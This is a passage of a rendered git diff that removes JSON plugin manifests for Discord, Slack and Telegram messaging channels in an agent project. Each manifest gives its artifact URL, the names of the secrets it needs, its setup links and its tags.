"artifacts": {
|
||||
"wasm32-wasip2": {
|
||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/discord-wasm32-wasip2.tar.gz",
|
||||
"sha256": null
|
||||
}
|
||||
},
|
||||
"auth_summary": {
|
||||
"method": "manual",
|
||||
"provider": "Discord",
|
||||
"secrets": [
|
||||
"discord_bot_token"
|
||||
],
|
||||
"shared_auth": null,
|
||||
"setup_url": "https://discord.com/developers/applications"
|
||||
},
|
||||
"tags": [
|
||||
"messaging"
|
||||
]
|
||||
}
|
||||
@@ -1,39 +0,0 @@
|
||||
{
|
||||
"name": "slack",
|
||||
"display_name": "Slack Channel",
|
||||
"kind": "channel",
|
||||
"version": "0.2.1",
|
||||
"wit_version": "0.3.0",
|
||||
"description": "Talk to your agent in Slack",
|
||||
"keywords": [
|
||||
"messaging",
|
||||
"chat",
|
||||
"workspace",
|
||||
"slack"
|
||||
],
|
||||
"source": {
|
||||
"dir": "channels-src/slack",
|
||||
"capabilities": "slack.capabilities.json",
|
||||
"crate_name": "slack-channel"
|
||||
},
|
||||
"artifacts": {
|
||||
"wasm32-wasip2": {
|
||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz",
|
||||
"sha256": null
|
||||
}
|
||||
},
|
||||
"auth_summary": {
|
||||
"method": "manual",
|
||||
"provider": "Slack",
|
||||
"secrets": [
|
||||
"slack_bot_token",
|
||||
"slack_signing_secret"
|
||||
],
|
||||
"shared_auth": null,
|
||||
"setup_url": "https://api.slack.com/apps"
|
||||
},
|
||||
"tags": [
|
||||
"default",
|
||||
"messaging"
|
||||
]
|
||||
}
|
||||
@@ -1,38 +0,0 @@
|
||||
{
|
||||
"name": "telegram",
|
||||
"display_name": "Telegram Channel",
|
||||
"kind": "channel",
|
||||
"version": "0.2.2",
|
||||
"wit_version": "0.3.0",
|
||||
"description": "Talk to your agent through a Telegram bot",
|
||||
"keywords": [
|
||||
"messaging",
|
||||
"bot",
|
||||
"chat",
|
||||
"telegram"
|
||||
],
|
||||
"source": {
|
||||
"dir": "channels-src/telegram",
|
||||
"capabilities": "telegram.capabilities.json",
|
||||
"crate_name": "telegram-channel"
|
||||
},
|
||||
"artifacts": {
|
||||
"wasm32-wasip2": {
|
||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz",
|
||||
"sha256": null
|
||||
}
|
||||
},
|
||||
"auth_summary": {
|
||||
"method": "manual",
|
||||
"provider": "Telegram",
|
||||
"secrets": [
|
||||
"telegram_bot_token"
|
||||
],
|
||||
"shared_auth": null,
|
||||
"setup_url": "https://t.me/BotFather"
|
||||
},
|
||||
"tags": [
|
||||
"default",
|
||||
"messaging"
|
||||
]
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user